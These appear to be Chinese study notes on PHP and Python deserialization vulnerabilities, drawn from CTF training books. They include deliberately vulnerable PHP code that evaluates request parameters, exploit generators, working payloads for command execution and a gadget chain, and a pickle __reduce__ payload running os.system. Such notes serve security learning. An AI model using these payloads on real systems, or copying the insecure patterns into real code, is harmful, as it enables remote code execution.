1. PHP
1.1 PHP反序列化
PHP 序列化后的基本类型表达:
布尔值(bool):b:value => b:0
整数型(int):i:value => i:1
字符串型(str):s:length:"value"; => s:4:"aaaa"
数组型(array):a:<length>:{key, value pairs}; => a:1:{i:1;s:1:"a"}
对象型(object):O:<class_name_length>:
NULL 型:N
最终序列化数据的数据格式如下:
<class_name>:<number_of_properties>:{<properties>};
序列化例子:
class person{
public $name;
public $age=19;
public $sex;
}
通过serialize()函数进行序列化后:
o:6:"person":3:{s:4:"name";N;s:3:"age";i:19;s:3:"sex";N;}
PHP 提供 serialize 和 unserialize 函数将任意类型的数据转换成 string 类型或者从 string 类型还原成任意类型。当 unserialize 函数的参数被用户控制的时候就会形成反序列化漏洞。
与之相关的是 PHP 语法中的类,PHP 的累中可能会包含一些特殊的函数,名为 magic 函数, magic 函数的命名方式是以符号 __
开头的,比如 __constrcut()
、 __destruct()
、 __toString()
、 __sleep()
、 __wakeup()
等。这些函数在某些情况下会被自动调用。
常见魔法函数及其触发方法:
__construct() 当一个对象创建时被调用
__destruct() 当一个对象销毁时被调用
__toString() 当一个对象被当作一个字符串使用时被调用
__sleep() 在对象在被序列化之前被调用(其返回需要是一个数组)
__wakeup() 反序列化恢复对象前被调用
__call() 当调用对象中不存在的方法时被自动调用
__get() 从不可访问的属性读取数据时被调用
1.2 反序列化漏洞示例
1.2.1 魔术方法中存在可利用的代码
<?php
class test{
function __destruct(){
echo "destruct... <br>";
eval($_GET['cmd']); // eval 可以将传入的字符串转为命令执行
}
}
unserialize($_GET['u']);
?>
构造反序列化参数 u 的值(exp):
<?php
class test{}
$test = new test;
echo serialize($test);
?>
浏览器访问该 php 文件,得到 payload:
即:u=O:4:“test”:0:{}
构造命令参数 cmd 的值:
cmd=system(“whoami”)
因此 payload为:u=O:4:"test":0:{}&cmd=system("whoami");
传入值后,代码会执行 system() 函数来调用 whoami 命令:
1.2.1 魔术方法中没有可利用的代码
在上个例子中,魔术方法中存在 eval($_GET['cmd']);
,因而 cmd 参数可以传入 system() 函数调用命令。而有时没有这种可直接利用的代码,却有调用其他类方法的代码,这时可以寻找其他有相同名称方法的类。
<?php
class lemon{
protected $ClassObj;
function __construct(){
$this->ClassObj = new normal();
}
function __destruct(){
$this->ClassObj->action();
}
}
class normal{
function action(){
echo 'hello';
}
}
class evil{
private $data;
function action(){
eval($this->data);
}
}
unserialize($_GET['d']);
?>
- normal 和 evil 有相同的名称的方法,也即 action()。
- evil 中,存在 eval() 方法,容易导致任意代码执行。
构造 exp:
<?php
class lemon{
protected $ClassObj;
function __construct(){
$this->ClassObj = new evil();
}
}
class evil{
private $data = 'phpinfo();';
}
echo urlencode(serialize(new lemon()));
?>
我个人的理解:该 exp 中序列化的 class lemon 和 class evil 中重写的部分会在反序列化后覆盖原 php 文件中的代码,而原 php 文件中的其他代码会保留。也即是说,在反序列化后,lemon 会调用 __construct(),而此时会 new evil() 而不再是 new normal()。接着,lemon 会调用 __destruct(),此时,调用的 action() 也就变成了 evil 类中的 action() 。
浏览器访问该 php 文件,得到 payload:
即 payload:O%3A5%3A%22lemon%22%3A1%3A%7Bs%3A11%3A%22%00%2A%00ClassObj%22%3BO%3A4%3A%22evil%22%3A1%3A%7Bs%3A10%3A%22%00evil%00data%22%3Bs%3A10%3A%22phpinfo%28%29%3B%22%3B%7D%7D
将 payload 传入参数 d,造成执行 phpinfo 代码。
2. Python
反序列化在每种语言中都有响应的实现方式,Python 也不例外。在反序列化的过程中,由于反序列化库的实现不同,在太相信用户输入的情况下,将用户输入的数据直接传入反序列化库中,就可能导致任意代码执行的问题。Python 中可能存在问题的库由 pickle、cPickle、PyYAML,其中应该重点关注的方法如下:pickle.load()
,pickle.loads()
,cPickle.load()
,cPickle.loads()
,yaml.load()
。下面重点讨论 pickle 的用法,其他反序列化方法类似。
pickle 中存在 __reduce__
魔术方法,来决定类如何进行反序列化。 __reduce__
方法返回一个长度为 2~5 的元组时,将使用该元组的内容将该类的对象进行序列化,其中前两项为必填项。元组的内容的第一项为一个 callable 的对象,第二项为调用 callable 对象时的参数。如下面的例子,将生成在反序列化时执行 os.system("id")
的 payload。在用户对需要进行反序列化的字符串有控制权时,将 payload 传入,就会导致一些问题。例如,将以下反序列化产生的结果直接传入 pickle.loads()
,则会执行 os.system("id")
。
import pickle
import os
class test(object):
def __reduce__(self):
return os.system, ("id",)
payload = pickle.dumps(test())
print(payload)
输出结果:
References:
《从0到1 CTFer成长之路》
《CTF特训营》